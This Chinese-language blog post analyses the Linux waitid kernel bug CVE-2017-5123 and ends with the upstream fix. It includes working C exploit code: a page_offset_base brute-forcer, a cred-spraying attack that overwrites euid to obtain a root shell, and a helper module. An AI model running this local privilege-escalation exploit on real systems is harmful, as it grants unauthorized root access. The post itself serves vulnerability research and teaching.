【CVE.0x02】CVE-2017-5123 waitid 漏洞复现及简要分析

本文最后更新于：2023年8月13日 晚上

今晚别睡太死.jpg

0x00.一切开始之前

waitid 系统调用

waitid 是 Linux 中的一个系统调用，该系统调用与 wait 系统调用相类似，用以获取一个进程的状态改变

原型如下：

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int waitid(idtype_t idtype, id_t id, siginfo_t *infop, int options);
                       /* This is the glibc and POSIX interface; see
                          NOTES for information on the raw system call. */
  • idtype ：用以指定等待的子进程类型：P_PID（等待特定进程）、P_PGID（等待特定进程组）、P_ALL（等待任意子进程）
  • id ：等待的子进程 pid
  • infop：该结构体用以存储 waitid 获取到的子进程相关信息，可以理解为 waitid 对返回值的补充
  • options ：指定获取的子进程类型（正常终止、因信号暂停…）

其中 siginfo_t 结构体定义如下：

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#include <sys/siginfo.h>

union sigval {
	int sival_int;
	void *sival_ptr;
};
typedef struct {
	int si_signo;
	int si_code;
	union sigval si_value;
	int si_errno;
	pid_t si_pid;
	uid_t si_uid;
	void *si_addr;
	int si_status;
	int si_band;
} siginfo_t;

更多信息参见这里

漏洞成因

在 waitid 向 infop 中写入数据时未对其地址进行检查，导致用户可以传入一个内核空间中的地址，从而非法向内核空间写入数据

漏洞影响版本

Linux v4.13~4.14-rc5。Linux v4.14-rc5 和 Linux v4.14.1已修补，Linux v4.14-rc4未修补

昙花一现的一个漏洞，信息甚少，而且说实话不是很好利用…

0x01.漏洞分析

Pre.用户空间与内核空间的数据传递

通常情况下使用函数 put_user() / get_user()或是 copy_from_user() / copy_to_user() 等在用户空间与内核空间之间复制数据，而完成这样的操作我们需要完成：

  • 检查地址合法性
  • 禁用/启用 SMEP 保护

而 waitid 系统调用需要向用户空间上多次写入数据（siginfo_t），为了避免额外的开销，自内核 4.13 版本起使用 unsafe_put_user() 来向用户空间写入数据，从而避免多次检查/开关保护造成的额外开销

该宏定义于 /arch/x86/include/asm/uaccess.h，其中有段说明如下：

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/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */

//...

#define unsafe_put_user(x, ptr, label)	\
	__put_user_size((__typeof__(*(ptr)))(x), (ptr), sizeof(*(ptr)), label)

即正常情况下使用时我们不仅要使用 access_ok() 检查用户空间地址合法性，还需要使用 user_access_begin() 与 user_access_end() 以完成 SMAP 保护的关/开工作

这个宏最后展开为宏 __put_user_goto，使用内联汇编赋值，出错则跳转到 label 处

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/*
 * Tell gcc we read from memory instead of writing: this is because
 * we do not write to any memory gcc knows about, so there are no
 * aliasing issues.
 */
#define __put_user_goto(x, addr, itype, ltype, label)			\
	asm_volatile_goto("\n"						\
		"1:	mov"itype" %0,%1\n"				\
		_ASM_EXTABLE_UA(1b, %l2)				\
		: : ltype(x), "m" (__m(addr))				\
		: : label)

access_ok：检查地址合法性

宏 access_ok() 用以检查一个 应当指向用户空间的指针 是否合法，即其所指向的这块区域是否超出了用户空间的范围，定义如下：

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/**
 * access_ok: - Checks if a user space pointer is valid
 * @type: Type of access: %VERIFY_READ or %VERIFY_WRITE.  Note that
 *        %VERIFY_WRITE is a superset of %VERIFY_READ - if it is safe
 *        to write to a block, it is always safe to read from it.
 * @addr: User space pointer to start of block to check
 * @size: Size of block to check
 *
 * Context: User context only. This function may sleep if pagefaults are
 *          enabled.
 *
 * Checks if a pointer to a block of memory in user space is valid.
 *
 * Returns true (nonzero) if the memory block may be valid, false (zero)
 * if it is definitely invalid.
 *
 * Note that, depending on architecture, this function probably just
 * checks that the pointer is in the user space range - after calling
 * this function, memory access functions may still return -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

主要就是验证从 addr 到 addr + size 这段空间是否属于用户空间，因为使用频率较高所以定义成一个宏

代码分析

waitid 系统调用的代码很短，位于源码目录 kernel/exit.c 中，如下：

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SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
	struct rusage r;
	struct waitid_info info = {.status = 0};
	long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
	int signo = 0;
	if (err > 0) {
		signo = SIGCHLD;
		err = 0;
	}

	if (!err) {
		if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
			return -EFAULT;
	}
	if (!infop)
		return err;

	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user((short)info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();
	return err;
Efault:
	user_access_end();
	return -EFAULT;
}

我们可以看到的是，在其使用 unsafe_put_user() 之前使用了 user_access_begin() 关闭 SMAP 保护，一系列赋值结束之后又使用 user_access_end() 关闭了 SMAP 保护，看起来一切都没有问题，但是在这一系列的操作之前并没有使用 access_ok 宏检测传入的地址的合法性，由此若是用户传入一个内核空间的地址，则可以非法向内核空间中写入数据

0x02.漏洞利用

观察 waitid 的源代码，我们发现在起始时将局部变量 signo 设为0，后面又调用了 unsafe_put_user(signo, &infop->si_signo, Efault) ，若我们传入内核空间地址则可以通过这一语句向内核空间内写一个 0

我们不难想到的是：若是我们能够将当前进程的 cred 结构体中的 euid 更改为 0，我们便能够获得 root 权限

poc

我们通过如下内核模块向进程提供其 cred 结构体的 euid 成员在内核空间中的地址：

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/*
* arttnba3_module.ko
* developed by arttnba3
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "a3device"
#define DEVICE_PATH "/dev/a3device"
#define CLASS_NAME "a3module"

static int major_num;
static struct class * module_class = NULL;
static struct device * module_device = NULL;
static struct file * __file = NULL;
struct inode * __inode = NULL;

static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff);

static struct file_operations a3_module_fo = 
{
	.owner = THIS_MODULE,
    .read = a3_module_read,
};

static int __init kernel_module_init(void)
{
    major_num = register_chrdev(0, DEVICE_NAME, &a3_module_fo);
    module_class = class_create(THIS_MODULE, CLASS_NAME);
    module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME);
    __file = filp_open(DEVICE_PATH, O_RDONLY, 0);
    __inode = file_inode(__file);
    __inode->i_mode |= 0666;
    filp_close(__file, NULL);
    return 0;
}

static void __exit kernel_module_exit(void)
{
    device_destroy(module_class, MKDEV(major_num, 0));
    class_destroy(module_class);
    unregister_chrdev(major_num, DEVICE_NAME);
}

static ssize_t a3_module_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff)
{
    char buf[0x10];
    int count;
    *((long long *)buf) = (long long *) &(current->real_cred->euid);

    count = copy_to_user(user_buf, buf, 8);

    return count;
}

module_init(kernel_module_init);
module_exit(kernel_module_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("arttnba3");

测试用 POC 如下：

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#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>

int main(void)
{
    int fd = open("/dev/a3device", O_RDONLY);
    long long ptr[0x10];
    read(fd, ptr, 8);
    sleep(1);
    printf("0x%p", ptr[0]);

    int pid = fork();
    if (pid == 0)
    {
        sleep(2);
        exit(-1);
    }
    else if (pid > 0)
    {
        waitid(P_PID, pid, ptr[0] - 0x10, WNOHANG );
    }

    if (getuid() == 0)
    {
        puts("done!");
        system("/bin/sh");
    }
    else
    {
        puts("failed!");
    }
}

可以看到，当我们运行 poc 后，其 euid 通过 waitid 的漏洞被更改为 0，之后我们便成功地获得了 root 权限

image.png

提权

虽然我们能够通过 waitid 中的 unsafe_put_user(0, &infop->si_errno, Efault) 这一语句向内核空间内写一个 0，但是我们并不能够直接获得当前进程的 cred 在内核空间中的地址，这也令这个漏洞难以被很好地利用

那么若是需要完成提权，我们首先就需要找到当前进程的 cred 在内核空间中的地址

Pre.线性映射区 （direct mapping area）

众所周知，64 位下 Linux 的虚拟内存空间布局如下：

image.png

其中有一块区域叫 物理地址直接映射区（direct mapping area），这块区域的线性地址到物理地址空间的映射是线性连续的

在 32 位下这块区域叫低端内存，内核空间起始的 896 M 直接映射到物理内存的 0 ~ 896M

image.png

64 位下好像没有低端内存这个概念了，但是 DMA 这个区域的概念还是存在的，kmalloc 便从此处分配内存，这块区域的起始位置称之为 page_offset_base

vmalloc 则从 vmalloc/ioremap space 分配内存，起始地址为 vmalloc_base，这一块区域到物理地址间的映射是不连续的

爆破 page_offset_base

让我们重新将目光放回 waitid 这个系统调用的代码，我们知道 unsafe_put_user 类似于 copy_from_user，在访问非法地址时并不会引起 kernel panic，而是会返回一个错误值，由此我们便能够用来爆破 page_offset_base 的地址——包括 cred 在内的通过 kmalloc 分配的 object 都在线性存储区域内，而这个区域的起始地址便是 page_offset_base

我们可以输入任意地址到 waitid 中，若未命中则 waitid 将返回 -EFAULT，否则说明我们成功命中了有效地址

page_offset_base 在未开始 KASLR 时的基址为 0xffff888000000000，我们由此开始以 0x10000000作为尺度进行爆破

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#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>

int main(int argc, char **argv)
{
    size_t 				page_offset_base = 0xffff888000000000;
    int 				retval;

    while(1)
    {
        int pid = fork();
        if (pid == 0)
        {
            exit(-1);
        }
        else if (pid > 0)
        {
            printf("trying: %p\n", page_offset_base);
            retval = waitid(P_PID, pid, page_offset_base, WEXITED);
            if (retval >= 0)
                break;
            page_offset_base += 0x10000000;
        }
    }
    printf("\033[32m\033[1m[+] Successful found the \033[0mpage_offset_base\033[32m\033[1m at:\033[0m%p\n", page_offset_base);
}

爆破需要的时间还是在可以承受的范围内的

image.png

预测 cred 所在位置

还是使用之前的驱动，我们现在将尽可能多地在内核空间喷射 cred 结构体，并观察其位置：

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#include <stdio.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <syscall.h>
#include <errno.h>

int main(void)
{
    int fd = open("/dev/a3device", O_RDONLY);
    long long ptr[0x10];
    
    size_t 				page_offset_base = 0xffff888000000000;
    int 				retval;

    while(1)
    {
        int pid = fork();
        if (pid == 0)
        {
            exit(-1);
        }
        else if (pid > 0)
        {
            printf("trying: %p\n", page_offset_base);
            retval = waitid(P_PID, pid, page_offset_base, WEXITED);
            if (retval >= 0)
                break;
            page_offset_base += 0x10000000;
        }
    }
    printf("\033[32m\033[1m[+] Successful found the \033[0mpage_offset_base\033[32m\033[1m at:\033[0m%p\n", page_offset_base);

    while (1)
    {
        int pid = fork();
        if (pid == 0)
        {
            read(fd, ptr, 8);
            printf("[*] cred: %p\n", ptr[0]);
            sleep(100);
        }
    }
}

观测结果如下：

image.png

我们可以发现分配出来的 cred 都在 page_offset_base + 0x10000000 往后的位置，这为我们利用该漏洞改写 cred 结构体的 uid 提供了可能性

经笔者多次实验，从 page_offset_base + 0x50000000 开始往后的位置是出现 cred 结构体_可能性比较大的位置_

喷射大量 cred，内核空间遍历写 0

那么我们现在有一个绝妙的思路——我们可以先在内核空间喷射足够多的 cred 结构体，随后利用 CVE-2017-5123 从 page_offset_base + 0x50000000 开始往后以 0x10 为尺度写 0，总能够在我们喷射的诸多 cred 中命中一个
我们使用 clone 创建多个轻量级子进程，不断循环检测自身的 euid 是否被修改为 0

最终的 exp 如下：

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#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <errno.h>
#include <asm/unistd_64.h>
#include <sched.h>
#include <pthread.h>

int dev_fd;

void child_process(void)
{
    int         euid;
    cpu_set_t   mask;

    CPU_ZERO(&mask);
    CPU_SET(0,&mask);
    sched_setaffinity(0,sizeof(mask),&mask);

    /*
    size_t cred_addr;
    read(dev_fd, &cred_addr, 8);
    printf("[*] child cred: %p\n", cred_addr);
    */

    while (1)
    {
        euid = geteuid();
        if (!euid)
        {
            puts("[+] Successfully get the root!");
            setresuid(0, 0, 0);
            setresgid(0, 0, 0);
            system("/bin/sh");
            return ;
        }
        usleep(100000);
    }
}

int main(void)
{
    size_t 				page_offset_base = 0xffff888000000000;
    size_t              cur_attack_addr;
    int 				retval;
    cpu_set_t           mask;

    CPU_ZERO(&mask);
    CPU_SET(0,&mask);
    sched_setaffinity(0,sizeof(mask),&mask);
    
    dev_fd = open("/dev/a3device", O_RDONLY);

    // find page_offset_base
    while(1)
    {
        int pid = fork();
        if (pid == 0)
        {
            exit(-1);
        }
        else if (pid > 0)
        {
            //printf("trying: %p\n", page_offset_base);
            retval = waitid(P_PID, pid, page_offset_base, WEXITED);
            if (retval >= 0)
                break;
            page_offset_base += 0x10000000;
        }
    }
    printf("\033[32m\033[1m[+] Successful found the \033[0mpage_offset_base\033[32m\033[1m at: \033[0m%p\n", page_offset_base);

    // cred spray
    puts("\033[34m\033[1m[*] start cloning child process...\033[0m");
    for (int i = 0; i < 2000; i++)
    {
        void *child_stack = malloc(0x1000); // a page
        int pid = clone(child_process, child_stack, CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SYSVSEM | SIGCHLD, NULL);
        if (pid == -1)
        {
            puts("\033[31m\033[1m[x] failed to create enough child process!\033[0m");
            exit(-1);
        }
    }

    // attacking
    puts("\033[34m\033[1m[*] start finding child process...\033[0m");
    for (size_t i = 0, cur_attack_addr = page_offset_base + 0x6f500000; 1; i++)
    {
        // only 23 cred on a page
        if (i > 23)
        {
            i = 0;
            cur_attack_addr += 0x1000;
        }
        printf("\033[34m\033[1m[*] Attacking the: \033[0m%p\n", cur_attack_addr + i * 176);
        waitid(P_ALL, 0, cur_attack_addr + 4 + i * 176, WNOHANG );
        waitid(P_ALL, 0, cur_attack_addr + 20 + i * 176, WNOHANG );
    }
}

不过这种方法纯靠猜测 cred 在内核地址空间中可能的位置并进行爆破，因此成功的机率并不是特别的高，且因为爆破过程中会覆写多个无关的内核数据结构，很容易造成 kernel panic，因此这个漏洞并不是特别容易进行利用

0x03.漏洞修复

这个漏洞修复的方式比较简单，只需要将缺失的 access_ok() 宏添加到 waitid 系统调用中即可，Kees Cook 提交的 commit便是如此修复的：

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diff --git a/kernel/exit.c b/kernel/exit.c
index f2cd53e92147c..cf28528842bcf 100644
--- a/kernel/exit.c
+++ b/kernel/exit.c
@@ -1610,6 +1610,9 @@ SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
 	if (!infop)
 		return err;
 
+	if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+		goto Efault;
+
 	user_access_begin();
 	unsafe_put_user(signo, &infop->si_signo, Efault);
 	unsafe_put_user(0, &infop->si_errno, Efault);
@@ -1735,6 +1738,9 @@ COMPAT_SYSCALL_DEFINE5(waitid,
 	if (!infop)
 		return err;
 
+	if (!access_ok(VERIFY_WRITE, infop, sizeof(*infop)))
+		goto Efault;
+
 	user_access_begin();
 	unsafe_put_user(signo, &infop->si_signo, Efault);
 	unsafe_put_user(0, &infop->si_errno, Efault);
CVE
#Linux #Linux Kernel #Pwn #CVE #提权
【CVE.0x02】CVE-2017-5123 waitid 漏洞复现及简要分析
https://arttnba3.github.io/2021/08/03/CVE-0X02-CVE-2017-5123/
作者
arttnba3
发布于
2021年8月3日
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